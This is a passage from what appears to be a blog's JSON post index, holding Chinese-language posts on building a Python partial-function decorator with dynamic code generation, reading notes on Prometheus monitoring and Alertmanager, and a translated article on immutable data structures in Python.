因为函数中不会调用到全局变量,所以这里传递空字典print(func, func(2))# <function f at 0x00E78AE0> 3 有了这个,我们就可以从一段字符串中动态生成一个 Python 函数了。 12345678910111213141516171819202122def nb_partial(*partial_args): """ 生成一个偏函数,且新函数的参数列表中会去除 """ def decorator(func): pre_arg_str = ', '.join(map(repr, partial_args)) code = func.__code__ args = code.co_varnames[:code.co_argcount] post_args = args[len(partial_args):] post_args_str = ', '.join(post_args) func_def = (f"def wrapped({post_args_str}):\\n" f" return func({pre_arg_str}, {post_args_str})") module_code = compile(func_def, '<>', 'exec') function_code = next(code for code in module_code.co_consts if isinstance(code, types.CodeType)) wrapped = types.FunctionType(function_code, {'func': func}) # wrapped 函数中引用了一个外部变量,所以在定义函数时需要把 func 传进去 return wraps(func)(wrapped) return decorator 这里有一个小缺陷没有解决掉:这个函数中的 func 是一个全局变量,而不是闭包中的自由变量。 转念一想,装饰器中的原始 func 本身就不是自由变量啊…脑残了 Orz,继续继续。 所以,通过动态定义函数,我们就可以实现还原参数列表的的偏函数功能。大体步骤如下: 提取原函数参数 处理新函数参数 构造函数定义字符串 动态定义新函数 完整实现见下面。 5. 再改进一下? 我们的原函数目前只支持了最简单的函数声明方式,而无法支持关键词参数,参数默认值等。 结合上面写的 FuncParser,我们还可以对动态函数的定义做进一步改进。 完整实现有点长,还是下面见。 当然,这个实现还有一些可以改进之处: 偏函数定义时可以支持关键字参数,这需要进行更多的判断,比如定义时传进去的关键字参数,有可能在原函数中是序列参数; 有很多对象并没有很好地实现 __repr__ 魔术方法,导致 repr(arg) 后生成的字符串在函数定义中并不能做到完整还原。所以我们最好通过 globals 将它直接传进新的函数中,而不是使用字符串来进行参数传递。 突然犯懒,就不再做进一步的实现了。 -2. 代码汇总 -2.1 获取函数参数声明的 FuncParser 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788from collections import namedtupleFuncArgs = namedtuple('FuncArgs', ('args', 'defaults'))class FuncParser: @classmethod def parse_vars(cls, func): code = func.__code__ argc = code.co_argcount kwargc = code.co_kwonlyargcount varnames = code.co_varnames res = { "arg": varnames[:argc], "kwarg": varnames[argc:argc + kwargc], "*args": None, "**kwargs": None } flag = code.co_flags if flag & 0x04: # Use *args res['*args'] = varnames[argc + kwargc] if flag & 0x08: # Use **kwargs res['**kwargs'] = varnames[argc + kwargc + bool(flag & 0x04)] # parse defaults defaults = func.__defaults__ or () defaults_map = dict(zip(reversed(res['arg']), reversed(defaults))) defaults_map.update(func.__kwdefaults__ or {}) return FuncArgs(res, defaults_map) @classmethod def build_param_str(cls, func_args): func_vars, defaults_map = func_args params = [] # arg for arg in func_vars['arg']: if arg in defaults_map: default_val = defaults_map[arg] params.append(f'{arg}={default_val}') else: params.append(arg) # *args if func_vars['*args']: params.append(f"*{func_vars['*args']}") else: if func_vars['kwarg']: params.append('*') # kwarg for kwarg in func_vars['kwarg']: if kwarg in defaults_map: default_val = defaults_map[kwarg] params.append(f'{kwarg}={default_val}') else: # 一种函数定义不会遇到的情况,但在后面会用到它 params.append(f'{kwarg}={kwarg}') # **kwargs if func_vars['**kwargs']: params.append(f"**{func_vars['**kwargs']}") param = ', '.join(params) param_str = '({})'.format(param) return param_str @classmethod def analyse_func_param(cls, func): func_args = cls.parse_vars(func) name = func.__name__ return cls.build_param_str(func_args)def test_func(a, *args, b=1, **kwargs): passif __name__ == '__main__': import inspect import types funcs = [f for f in locals().values() if isinstance(f, types.FunctionType)] for f in funcs: fstr = FuncParser.analyse_func_param(f) assert fstr == str(inspect.signature(f)) # "(a, *args, b=1, **kwargs)" -2.2 “高级”偏函数装饰器的初步实现 123456789101112131415161718192021222324252627282930313233343536373839import typesfrom functools import wrapsfrom inspect import signaturedef nb_partial(*partial_args): """ 生成一个偏函数,且新函数的参数列表中会去除 """ def decorator(func): pre_arg_str = ', '.join(map(repr, partial_args)) code = func.__code__ if len(partial_args) > code.co_argcount: raise TypeError("Too many positional arguments") args = code.co_varnames[:code.co_argcount] post_args = args[len(partial_args):] post_args_str = ', '.join(post_args) func_def = (f"def wrapped({post_args_str}):\\n" f" return func({pre_arg_str}, {post_args_str})") module_code = compile(func_def, '<>', 'exec') function_code = next(code for code in module_code.co_consts if isinstance(code, types.CodeType)) wrapped = types.FunctionType(function_code, {'func': func}) return wraps(func)(wrapped) return decoratordef func(a, b, c): return sum([a, b, c])if __name__ == '__main__': print(func(1, 2, 3,), func, signature(func)) # 6 <function func at 0x03B43B28> (a, b, c) partial = nb_partial(3, 4)(func) # The decorator print(partial(5), partial, signature(partial, follow_wrapped=False)) # 12 <function func at 0x03BC0DB0> (c) -2.3 “高级”偏函数装饰器的进阶实现 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263import typesfrom functools import wrapsfrom inspect import signaturefrom funcparser import FuncParser, FuncArgs# 上面写好的函数解析器def nb_partial(*partial_args): """ 生成一个偏函数,且新函数的参数列表中会去除 """ def decorator(func): code = func.__code__ if len(partial_args) > code.co_argcount: raise TypeError("Too many positional arguments") func_vars, defaults_map = FuncParser.parse_vars(func) # 构建函数定义 def_vars = func_vars.copy() def_vars["arg"] = def_vars["arg"][len(partial_args):] def_str = FuncParser.build_param_str(FuncArgs(def_vars, defaults_map)) # 构造函数调用 call_vars = func_vars.copy() call_vars["arg"] = list(call_vars["arg"]) call_vars["arg"][:len(partial_args)] = list(map(repr, partial_args)) call_str = FuncParser.build_param_str(FuncArgs(call_vars, {})) call_str = call_str.replace('*, ', '') func_def = (f"def wrapped{def_str}:\\n" f" return func{call_str}") module_code = compile(func_def, '<>', 'exec') function_code = next(code for code in module_code.co_consts if isinstance(code, types.CodeType)) # 设置序列参数默认值 argdefs = [] for arg in reversed(func_vars["arg"]): if arg not in defaults_map: break argdefs.append(defaults_map[arg]) argdefs.reverse() wrapped = types.FunctionType(function_code, {'func': func}, argdefs=tuple(argdefs)) # 设置关键字参数默认值 wrapped.__kwdefaults__ = func.__kwdefaults__ return wraps(func)(wrapped) return decoratordef func(a, b=2, c=3, *, d=5): print(locals()) return sum([a, b, c, d])if __name__ == '__main__': print(func(1, 2, 3, d=6), func, signature(func)) # locals: {'a': 1, 'b': 2, 'c': 3, 'd': 6} # 12 <function func at 0x034B3AE0> (a, b=2, c=3, *, d=5) # The decorator partial = nb_partial(3)(func) print(partial(6, d=7), partial, signature(partial, follow_wrapped=False)) # locals: {'a': 3, 'b': 6, 'c': 3, 'd': 7} # 19 <function func at 0x00875390> (b=2, c=3, *, d=5) -1. Reference & 延伸阅读 Python 自定义函数的特殊属性(收藏专用) Python 文档:Data Model Python 创建动态函数","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"}],"author":"David Dai"},{"title":"《Prometheus Book》阅读笔记","slug":"prometheus-book-note","date":"2018-11-13T14:45:00.000Z","updated":"2022-09-10T01:41:19.796Z","comments":true,"path":"2018/11/prometheus-book-note/","link":"","permalink":"https://blog.stdioa.com/2018/11/prometheus-book-note/","excerpt":"看了一本在线的小书,叫《Prometheus Book》,做了一点摘抄和笔记。","text":"看了一本在线的小书,叫《Prometheus Book》,做了一点摘抄和笔记。 第 1 章:天降奇兵 第一章对 Prometheus 的架构和用法做了简单的介绍。 基本介绍 通过建立完善的监控体系,我们可以达到以下目的:长期趋势分析、对照分析、告警、故障分析与定位、数据可视化。 Prometheus是一个开源的完整监控解决方案,其对传统监控系统的测试和告警模型进行了彻底的颠覆,形成了基于中央化的规则计算、统一分析和告警的新模型。 个人理解,这里的中央化主要是指数据存储中央化:各个数据源将指标暴露出来,由 Prometheus 服务器采集后统一存储、统一分析,方便聚合查询。 Prometheus 的基本结构如图所示: 其中 Prometheus Server 是整个组件中的核心部分,负责实现对监控数据的获取、存储及查询;PushGateway 用于在某些环境中被动收集用户指标,并提供给 Server;在 Server 中定义的报警规则如果被触发,则 AlertManager 会负责该报警的后续处理流程(如通知用户)。 Prometheus Server 通过两种方式来获取数据: 通过 HTTP API 直接访问实例以获取数据 当 Prometheus Server 无法直接访问到实例时,实例可以主动推送数据到 PushGateway,Server 访问 PushGateway 来获取数据。 Prometheus 的基本数据模型: 一个指标,由它的名字和值组成。 指标的名字由指标名称以及多对描述样本特征的 KV 标签构成;而指标的值是一个序列,记录了每个时间点的指标值。 Prometheus 将这个基本指标进行了组合和拓展,构成了四种指标数据结构:Counter、Gauge、Summary 和 Histogram,使用者可以使用这四种数据结构来实现多样化的指标定义和分析模式。 安装运行 Prometheus 采用 Golang 编译,不存在第三方依赖,可以直接运行;或者 Prometheus 官方也提供了 Docker 镜像。 官方提供了 node_exporter 用于采集主机的运行指标。运行后,可以通过配置 prometheus.yml 的 scrape_configs 来添加任务: 1234567scrape_configs: - job_name: 'prometheus' static_configs: - targets: ['localhost:9090'] - job_name: 'node' static_configs: - targets: ['localhost:9100'] 重启后,查询 up 指标,可以看到 up{job="node"} 的值为 1,说明来自改端点的指标可以正常获取。 杂项 Prometheus 自带的 UI 界面功能比较简单,此时可以考虑使用第三方的可视化的工具如 Grafana. 在 Prometheus 中,每个暴露监控样本数据的 HTTP 服务称为一个实例,一组出于相同采集目的的实例,可以通过一个任务(Job)进行分组管理。 第 2 章:探索 PromQL 第二章主要讲解了查询中所用到的数据类型;监控指标类型;以及基本的 PromQL 使用。 基本概念 时间序列:一个序列,其中的每个值由一个时间戳和一个浮点数构成,表示某一时刻监控样本的具体值 样本:时间序列的一个点,由三部分组成: 指标(metric):指标名,标签组; 时间戳(timestamp) 样本值(value) 指标名反映了监控样本的含义;标签组反映了样本的特征维度,可用于过滤或聚合。指标名其实也是标签,key 为 __name__ 指标类型 Prometheus 为实例应用定义了四种不同的指标类型:Counter、Gauge、Summary 和 Histogram. Counter 只增不减,Gauge 可加可减;Summary 和 Histogram 是组合指标,用于统计和分析样本的分布情况。 与Summary类型的指标相似之处在于Histogram类型的样本同样会反应当前指标的记录的总数(以_count作为后缀)以及其值的总量(以_sum作为后缀)。不同在于Histogram指标直接反应了在不同区间内样本的个数,区间通过标签len进行定义。 同时对于Histogram的指标,我们还可以通过histogram_quantile()函数计算出其值的分位数。不同在于Histogram通过histogram_quantile函数是在服务器端计算的分位数。 而Sumamry的分位数则是直接在客户端计算完成。因此对于分位数的计算而言,Summary在通过PromQL进行查询时有更好的性能表现,而Histogram则会消耗更多的资源。反之对于客户端而言Histogram消耗的资源更少。在选择这两种方式时用户应该按照自己的实际场景进行选择。 查询 查询方法 查询时,首先要提供指标名,然后根据 label 来筛选指标。PromQL 提供四种 label 筛选的方式:k=v, k!=v, k=~regex, k!~regex 查询时间范围:使用方括号将时间段括住,可以查询最近一段时间内的数据,如 http_requrest_total{}[5m] 时间偏移:使用 offset 将查询时间段向前推移如 http_requrest_total{}[5m] offset 1h 聚合筛选操作:用 by 可以对某些标签进行聚合,用 without 可以将某些标签排除,对剩下的标签进行聚合。如 sum(up) by (instance) 数据结构表示 每个实例的 metrics API 产出的数据结构只有一个由多个数据指标构成的瞬时向量;这里的数据结构为输出数据结构,用于查询时进行运算及输出。 标量(Scalar):一个浮点型数据值 字符串(String) 时间序列(Time Series):一个序列,其中的每个点都由一个时间戳和一个数据值构成 向量:由多个指标和其对应的时间序列构成 瞬时向量(Instant Vector):一个向量,其中每个指标只包含一个点 区间向量:使用区间向量表达式 [5m] 得到的结果,每个指标包含多个点;用于表示一段时间内的变化值 栗子: 12345678910111213# 瞬时向量Query: checkin_rpc_request_time_countcheckin_rpc_request_time_count{endpoint="CreateFCL"}space1checkin_rpc_request_time_count{endpoint="CreateUCL"}space3# 区间向量Query: checkin_rpc_request_time_count[2m]checkin_rpc_request_time_count{endpoint="CreateFCL"}space1 @1541421409.712 1 @1541421469.712checkin_rpc_request_time_count{endpoint="CreateUCL"}space3 @1541421437.904 3 @1541421497.904 运算 数学运算 PromQL 支持的数学运算符有 +, -, *, /, %, ^(幂运算) 当两个向量相加时,对应时间点的值将会相加并返回;若某点在另一向量中不存在,则该点会被丢弃; 当一个向量加一个标量时,会将向量中每个点的值加上这个标量并返回。 条件运算 PromQL 支持的条件运算符有 ==, !=, >, <, >=, <= a > 2,会筛选出所有值大于 2 的点,不满足条件的点将会被丢弃; a > bool 2,会对所有点进行逻辑运算,得出结果 0 或 1 并返回,不会将点丢弃。 集合运算 PromQL 支持瞬时向量间的集合运算, and, or, unless 分别对应交集、并集和差集。 向量匹配模式 匹配模式用于在向量运算时,对左边的指标名进行标签匹配。 PromQL 有两种典型的匹配模式:一对一和一对多 一对一用于两边表达式的标签一致的情况; 若不一致,可以使用 on 或 ignoreing 筛选出一些标签再进行匹配 一对多 / 多对一用于两边向量长度不一致的情况: 修正标签后,可能一边的向量中只有一个值,而另一边有多个; 此时,可以使用 group_left 或 group_right 来进行匹配,其中 group_left 表示左边的向量基数更大,也就是多对一;反之亦然。 聚合操作 PromQL 可以对瞬时向量中的多个指标进行聚合,生成另外一个瞬时向量。 支持的聚合函数太多,见文档。 在聚合时,可以通过 by/without 语句选择根据/不根据那些标签进行聚合。有点像 SQL 里的 GROUP BY. 栗子: 123456789101112131415Query: request_time_countrequest_time_count{endpoint='/', instance='1'} 1request_time_count{endpoint='/', instance='2'} 1request_time_count{endpoint='/', instance='3'} 1request_time_count{endpoint='/index.html', instance='1'} 2request_time_count{endpoint='/index.html', instance='2'} 3request_time_count{endpoint='/index.html', instance='3'} 4Query: sum(request_time_count)sum(request_time_count) 12Query: sum(request_time_count) by (instance)request_time_count{instance='1'} 3request_time_count{instance='2'} 4request_time_count{instance='3'} 5 内置函数 更多了,见文档。 rate 和 irate 的区别:两个函数都能够表示区间向量中各个时间的变化率,不过 irate 比 rate 具有更高的灵敏度。 所以,观察指标时可以用 irate,但设置报警规则时应该用 rate,以免一些瞬时变化产生误报。 监控指标的设计实践 Prometheus 鼓励大家设计多层指标,从多个维度监控到所有东西。 书中列举的一些常用的监控维度。 级别 监控什么 Exporter 网络 网络协议:http、dns、tcp、icmp;网络硬件:路由器,交换机等 BlockBox Exporter;SNMP Exporter 主机 资源用量 node exporter 容器 资源用量 cAdvisor 应用(包括Library) 延迟,错误,QPS,内部状态等 代码中集成Prmometheus Client 中间件状态 资源用量,以及服务状态 代码中集成Prmometheus Client 编排工具 集群资源用量,调度等 Kubernetes Components 除了监控的不同级别以外,还有一些常见的监控模式,用于从不同角度检测应用状态: 四个黄金指标:延迟、通讯量、错误发生速率、饱和度 RED 方法:请求速率、请求错误(每秒失败的请求数)、请求耗时 USE 方法(用于甄别系统性能问题):使用率、饱和度、错误计数 第 3 章:Prometheus 告警处理 基本概念 Prometheus Server 负责存储告警规则并产生告警,而告警的具体处理方式(如发邮件通知用户)则交由 Alertmanager 来做。 Alertmanage 作为一个独立的组件,负责接收并处理来自 Prometheus Server(也可以是其它的客户端程序)的告警信息。Alertmanager 可以对这些告警信息进行进一步的处理,比如消除重复的告警信息,对告警信息进行分组并且路由到正确的接受方。Prometheus 内置了对邮件,Slack 等通知方式的支持,同时还支持与 Webhook 的通知集成,以支持更多的可能性,例如可以通过 Webhook 与钉钉或者企业微信进行集成。同时 AlertManager 还提供了静默和告警抑制机制来对告警通知行为进行优化。 告警规则定义 在 Prometheus 配置文件中通过 rule_files 指定一组告警规则文件的访问路径。 设置规则后,Prometheus 会根据 global.evaluation_interval 定义的时间周期计算报警规则中定义的 PromQL 表达式。如果表达式能够找到匹配的时间序列,则会对每条序列产生一个告警实例。 Prometheus 告警配置规则如下: 1234567891011groups:- name: example rules: - alert: HighErrorRate expr: job:request_latency_seconds:mean5m{job="myjob"} > 0.5 for: 1m labels: severity: page annotations: summary: High request latency for {{ $labels.job }}:{{ $value }} description: description info 其中,annotations 定义的标注部分内容可以进行模板化:{{ $labels.labelname }} 可以访问告警实例中标签的值,而 {{ $value }} 可以访问表达式算出的样本值。 假设 Prom Server 每 10s 计算一次,则当第一个满足条件的报警出现时,Prom Server 会产生一条报警,但会处于 PENDING 状态,而不会触发;在经过由 for 指定的一段时间后,如果报警条件依然满足,则报警状态变为 FIRING,触发报警。 Alertmanager 使用方法 部署 和 Prometheus Server 一样,Alertmanager 也是单文件可执行程序,也有官方提供的 Docker 镜像。 Alertmanager 的配置主要包含两部分:路由(route)和接收器(Receiver)。所有的告警信息都会从配置中的顶级路由进入路由树,根据路由规则将告警信息发送给相应的接收器。 配置成功后,在 Prom Server 的配置中添加内容,将 Prom Server 和 Alertmanager 关联起来。 1234alerting: alertmanagers: - static_configs: targets: ['localhost:9093'] 配置路由 Alertmanager 的路由为树状结构。 在匹配规则时,可以通警告名称(alertname)和报警标签(labelname)来进行匹配,匹配方式支持完全匹配和正则匹配。 如果 continue 的值为 true,则会将报警交由下一层节点,否则将会直接在当前节点进行处理。 路由配置格式如下: 1234567891011121314151617[ receiver: <string> ][ continue: <boolean> | default = false ]match: [ <labelname>: <labelvalue>, ... ]match_re: [ <labelname>: <regex>, ... ]# 分组规则,如果多条报警的的某些标签值相等,则这些报警将会被归为一组[ group_by: '[' <labelname>, ... ']' ][ group_wait: <duration> | default = 30s ][ group_interval: <duration> | default = 5m ][ repeat_interval: <duration> | default = 4h ]routes: # 路由树的子节点 [ - <route> ... ] 配置接收器 Alertmanager 默认支持多种接收器,如邮件,Slack 等,具体看文档,同时也有多种基于 Webhook 的继承方式(如 Telegram Bot 和钉钉机器人),具体看文档,如果想自己制作 Webhook 接收器,只需要了解 Webhook 格式即可。。 配置报警具体消息时,可以使用 Go 模板来进行自定义。 配置抑制 / 静默机制 抑制机制的作用:用户在收到一条报警通知后,可以通过规则来屏蔽掉后续的其它报警,以免收到过多垃圾信息,影响问题分析。 栗子:如果集群炸了,那我们只需要收到“集群爆炸了”的报警消息就足够了,后面的一万个“A 服务不可用”“B 服务响应延迟 xxx 秒”的报警都不需要再报出来了。 抑制规则是长期规则,需要在 Alertmanager 配置文件中进行配置。 如果只想临时关掉某些报警,管理员可以通过 Alertmanager 的 UI 来临时屏蔽满足规则的报警通知。 Alertmanager 的 UI 中可以创建静默规则,管理员可以配置报警匹配规则以及静默时间。 杂项 如果某些语句 / 报警规则的计算成本很高,那现场计算可能会导致 Prometheus 响应超时。此时可以通过配置 Recording Rules 来在后台提前对结果进行运算。 这个功能有点像数据库索引… 第 4 章:使用 Exporter 基本概念 广义上讲,所有可以向 Prometheus 提供监控样本数据的程序都可以称作做 Exporter. 一个运行 Exporter 的实例称为一个 Target. Prometheus 社区提供了非常丰富的 Exporter 实现,涵盖了从基础设施,中间件以及网络等各个方面的监控功能。 Exporter 应通过 HTTP API 为 Prometheus Server 提供符合格式规范的内容。如: 123456789101112131415161718# HELP HTTP Response amount# TYPE http_res_amount counterhttp_res_amount{code="200"} 123http_res_amount{code="400"} 12# HELP Example Histogram# TYPE example_histogram histogramexample_histogram_bucket{le="0.1"} 1example_histogram_bucket{le="+inf"} 2example_histogram_sum 5example_histogram_count 3# HELP Example Summary# TYPE example_sumary sumaryexample_sumary{quantile="0.1"} 1example_sumary{quantile="0.5"} 2example_sumary_sum 5example_sumary_count 3 Exporter 举例 书中详细提到了三个 Exporter,分别是监控容器状态的 cAdvidor、监控 MySQL 运行状态的 MySQLD Exporter 和监控网络状态的 Blackbox Exporter. 这里不详细展开讲,可以直接看文档看花眼。 集成 Exporter 除了单独运行的 Exporter 程序外,我们还可以在自己的应用中集成一个 Exporter. Prometheus 官方和社区为多种语言提供了集成支持,使用这些库,则可以方便地在应用中提供 HTTP API,并在程序运行过程中进行指标收集。 第 5 章:可视化一切 Prometheus 提供了一个 Console Template,可以通过 Go 模板来配置任意控制台界面。 不过,这种配置方法非常麻烦,所以我们更推荐使用 Grafana 来创建美观的 Dashboard. Grafana 设置 基本概念: 数据源(Data Source) 仪表盘(Dashboard) 行(Row) 面板(Panel) 创建 Dashboard Grafana 支持多种 Panel,我常用的有 Singlestat 和 Graph. Singlestat 用于展示当前状态,如 CPU 使用率等,而 Graph 用于展示指标随时间的变化。 Graph 创建时,如果设置的查询条件返回了多个指标,则可以画出多个图表,这一点非常棒。 第 6 章:集群与高可用 文件存储 使用本地存储:Prometheus 将所有数据按照时间范围分片存储,按照两小时为一个时间窗口,每两小时的数据存在一个块中,每个块中包含该时间窗口内的所有样本数据、元数据文件以及索引文件。 通过时间窗口的形式保存数据,有利于 Prometheus 根据特定时间段进行数据查询。 使用远程存储(Remote Storage):为了满足持久化需求,Prometheus 可以使用外部存储方式存储样本数据。但 Prometheus 没有内置存储适配工具,而是提供两个标准接口,让用户通过这两个接口将数据保存到任意存储服务中。 两个标准接口为 remote_read 和 remote_write,基于 HTTP 协议,信息传递依赖 protobuf. 同时,Prometheus 社区也提供了部分对于第三方数据库的 Remote Storage 支持。具体可见文档。 Prometheus 部署架构及高可用方案 架构 联邦集群: 如果样本来自多个数据中心,则可以在每个数据中心部署单独的 Prometheus Server,然后使用一个中心 Prom Server 从其它 Server 中通过 /federate 接口获取数据。 数据格式符合标准样本格式,所以对于中心 Server 来说,从其它 Server 获取数据和从 Exporter 获取数据实际上没有任何差异。 功能分区: 如果单个集群中需要采集的数据过多,可以在集群中部署多个 Prom Server 实例,然后将不同的监控任务交给不同 Prom Server 处理,再由中心 Server 进行聚合。 Prometheus 高可用部署 基本 HA:部署多个 Server,同时采集相同的 Exporter 目标; 基本 HA + 远程存储:使用远程存储确保数据持久化,若 Server 发生宕机,可以快速恢复数据; 基本 HA + 远程存储 + 联邦集群:添加联邦集群,在任务级别设置功能分区,将不同的采集任务划分至不同的 Server; 适合大量采集任务,或多数据中心的场景; 按照实例进行功能分区:通过 relabel 设置对所有实例进行 hash,并平均分至多个 Server 进行采集。 高可用方案套餐搭配: 服务可用性:主备 HA 数据持久化:远程存储 水平扩展:联邦集群 Alertmanager 高可用部署 在 Prometheus Server 配置中,可以添加多个 Alertmanager 实例,在报警发生时,Server 会同时通知多个 Alertmanager. 而 Alertmanager 的 Gossip 机制可以保证同一个报警消息不会被重复发送。 这种分布式方案满足了 CAP 理论中的 AP,但不提供数据强一致性保证。 通知流水线: 判断当前通知是否匹配静默规则; 根据 Alertmanager 在集群中的顺序等待一段时间,一般为 (index * 5)s; 判断当前消息是否被发送;若已发送则终止流水线; 发送消息; 使用 Gossip 机制通知集群中其它实例。 第 7 章:Prometheus 服务发现 基础概念 Prometheus 的服务发现原理:集群中存在一个服务注册中心(如 Consul 或 Etcd)保存着所有实例。Prometheus 定时从服务注册中心中获取服务列表,然后依据这个列表去抓取样本。 Prometheus 的服务发现方式 通过 Prometheus Server,可以设置多种服务发现方式,如本地文件服务发现、DNS 服务发现、Kubernetes 服务发现等。 具体可以参考官方配置文档的 <*_sd_config> 部分。 Relabeling 机制 在 Prometheus 所有 Target 实例中,会包含一些以双下划线开头的 Metadata 标签信息,比如 __address__ 和 _metrics_path__ 等。 Relabeling 机制可以将这些标签加以利用,如进行标签过滤、改变标签名称以用于查询,或对标签值进行 Hash 以完成功能分区等。 具体可以看文档。 第 8 章:监控 Kubernetes Kuberenetes 监控指标 监控 Kubernetes 平台及应用时,在白盒层面需要关注: 基础设施层(Node) 容器基础设施(Container) 用户应用(Pod) Kubernetes 组件 在黑盒层面需要关注: 内部服务负载均衡(Service) 外部访问入口(Ingress) 在集群中部署 Prometheus 监控 核心组件部署 部署 Prometheus Server 时需要使用 ConfigMap 定义配置文件,并使用 Deployment 进行部署。 Prometheus 在 k8s 集群内的服务发现方式是通过与 Kubernetes API 集成,目前支持 5 种服务发现模式,分别是 Node, Service, Pod, Endpoint, Ingress. 此外,CoreOS 提供了 Prometheus Operator,可以更加便捷的在 k8s 集群中部署及配置 Prometheus. Exporter 部署 Kubernetes 内置了 cAdvisor 的支持,所以 Prometheus 可以直接通过 cAdvisor 获取容器指标; 可以通过 DaemonSet 部署 NodeExporter 以获取每个 Node 的运行状态,注意不是 Deployment 可以通过部署 Blackbox Exporter 来监控 Service 和 Ingress 自定义 Pod 指标抓取 在用户部署 Pod / Deployment / DaemonSet 时,如果需要 Prometheus 进行样本抓取,需要在 Pod Template 的 metadata.annotations 里添加如下内容: 123prometheus.io/scrape: 'true'prometheus.io/port: '9100'prometheus.io/path: 'metrics' 为了支持 Pod 内指标获取,在配置 Prometheus 时,需要进行 Relabel 配置,以过滤掉不支持样本获取的 Pod: 123- source_lables: [__meta_kubernetes_pod_annotation_prometheus_io_scrape] action: keep regex: true 这次根据整理的内容制作了一份思维导图,可以在这里查看。","categories":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"}],"tags":[{"name":"读书","slug":"读书","permalink":"https://blog.stdioa.com/tags/%E8%AF%BB%E4%B9%A6/"},{"name":"Prometheus","slug":"Prometheus","permalink":"https://blog.stdioa.com/tags/Prometheus/"}],"author":"David Dai"},{"title":"Python 函数式编程:不可变数据结构","slug":"translation-python-functional-programming","date":"2018-11-11T15:07:00.000Z","updated":"2022-09-10T01:41:19.797Z","comments":true,"path":"2018/11/translation-python-functional-programming/","link":"","permalink":"https://blog.stdioa.com/2018/11/translation-python-functional-programming/","excerpt":"本文原载于 opensource.com,由本人翻译,翻译作品原载于 linux.cn。翻译及转载基于 CC-BY-NC-SA 协议。具体创作参与信息可见文章最后部分。","text":"本文原载于 opensource.com,由本人翻译,翻译作品原载于 linux.cn。翻译及转载基于 CC-BY-NC-SA 协议。具体创作参与信息可见文章最后部分。 不可变性可以帮助我们更好地理解我们的代码。下面我将讲述如何在不牺牲性能的条件下来实现它。 在这个由两篇文章构成的系列中,我将讨论如何将函数式编程方法论中的思想引入至 Python 中,来充分发挥这两个领域的优势。 本文(也就是第一篇文章)中,我们将探讨不可变数据结构的优势。第二部分会探讨如何在 toolz 库的帮助下,用 Python 实现高层次的函数式编程理念。 为什么要用函数式编程?因为变化的东西更难推理。如果你已经确信变化会带来麻烦,那很棒。如果你还没有被说服,在文章结束时,你会明白这一点的。 我们从思考正方形和矩形开始。如果我们抛开实现细节,单从接口的角度考虑,正方形是矩形的子类吗? 子类的定义基于里氏替换原则。一个子类必须能够完成超类所做的一切。 如何为矩形定义接口? 123456789from zope.interface import Interfaceclass IRectangle(Interface): def get_length(self): """正方形能做到""" def get_width(self): """正方形能做到""" def set_dimensions(self, length, width): """啊哦""" 如果我们这么定义,那正方形就不能成为矩形的子类:如果长度和宽度不等,它就无法对 set_dimensions 方法做出响应。 另一种方法,是选择将矩形做成不可变对象。 1234567class IRectangle(Interface): def get_length(self): """正方形能做到""" def get_width(self): """正方形能做到""" def with_dimensions(self, length, width): """返回一个新矩形""" 现在,我们可以将正方形视为矩形了。在调用 with_dimensions 时,它可以返回一个新的矩形(它不一定是个正方形),但它本身并没有变,依然是一个正方形。 这似乎像是个学术问题 —— 直到我们认为正方形和矩形可以在某种意义上看做一个容器的侧面。在理解了这个例子以后,我们会处理更传统的容器,以解决更现实的案例。比如,考虑一下随机存取数组。 我们现在有 ISquare 和 IRectangle,而且 ISquare 是 IRectangle 的子类。 我们希望把矩形放进随机存取数组中: 12345class IArrayOfRectangles(Interface): def get_element(self, i): """返回一个矩形""" def set_element(self, i, rectangle): """'rectangle' 可以是任意 IRectangle 对象""" 我们同样希望把正方形放进随机存取数组: 12345class IArrayOfSquare(Interface): def get_element(self, i): """返回一个正方形""" def set_element(self, i, square): """'square' 可以是任意 ISquare 对象""" 尽管 ISquare 是 IRectangle 的子集,但没有任何一个数组可以同时实现 IArrayOfSquare 和 IArrayOfRectangle. 为什么不能呢?假设 bucket 实现了这两个类的功能。 1234567>>> rectangle = make_rectangle(3, 4)>>> bucket.set_element(0, rectangle) # 这是 IArrayOfRectangle 中的合法操作>>> thing = bucket.get_element(0) # IArrayOfSquare 要求 thing 必须是一个正方形>>> assert thing.height == thing.widthTraceback (most recent call last): File "<stdin>", line 1, in <module>AssertionError 无法同时实现这两类功能,意味着这两个类无法构成继承关系,即使 ISquare 是 IRectangle 的子类。问题来自 set_element 方法:如果我们实现一个只读的数组,那 IArrayOfSquare 就可以是 IArrayOfRectangle 的子类了。 在可变的 IRectangle 和可变的 IArrayOf* 接口中,可变性都会使得对类型和子类的思考变得更加困难 —— 放弃变换的能力,意味着我们的直觉所希望的类型间关系能够成立了。 可变性还会带来作用域方面的影响。当一个共享对象被两个地方的代码改变时,这种问题就会发生。一个经典的例子是两个线程同时改变一个共享变量。不过在单线程程序中,即使在两个相距很远的地方共享一个变量,也是一件简单的事情。从 Python 语言的角度来思考,大多数对象都可以从很多位置来访问:比如在模块全局变量,或在一个堆栈跟踪中,或者以类属性来访问。 如果我们无法对共享做出约束,那我们可能要考虑对可变性来进行约束了。 这是一个不可变的矩形,它利用了 attr 库: 1234567@attr.s(frozen=True)class Rectange(object): length = attr.ib() width = attr.ib() @classmethod def with_dimensions(cls, length, width): return cls(length, width) 这是一个正方形: 123456@attr.s(frozen=True)class Square(object): side = attr.ib() @classmethod def with_dimensions(cls, length, width): return Rectangle(length, width) 使用 frozen 参数,我们可以轻易地使 attrs 创建的类成为不可变类型。正确实现 __setitem__ 方法的工作都交给别人完成了,对我们是不可见的。 修改对象仍然很容易;但是我们不可能改变它的本质。 12too_long = Rectangle(100, 4)reasonable = attr.evolve(too_long, length=10) Pyrsistent 能让我们拥有不可变的容器。 1234# 由整数构成的向量a = pyrsistent.v(1, 2, 3)# 并非由整数构成的向量b = a.set(1, "hello") 尽管 b 不是一个由整数构成的向量,但没有什么能够改变 a 只由整数构成的性质。 如果 a 有一百万个元素呢?b 会将其中的 999999 个元素复制一遍吗?Pyrsistent 具有“大 O”性能保证:所有操作的时间复杂度都是 O(log n). 它还带有一个可选的 C 语言扩展,以在“大 O”性能之上进行提升。 修改嵌套对象时,会涉及到“变换器”的概念: 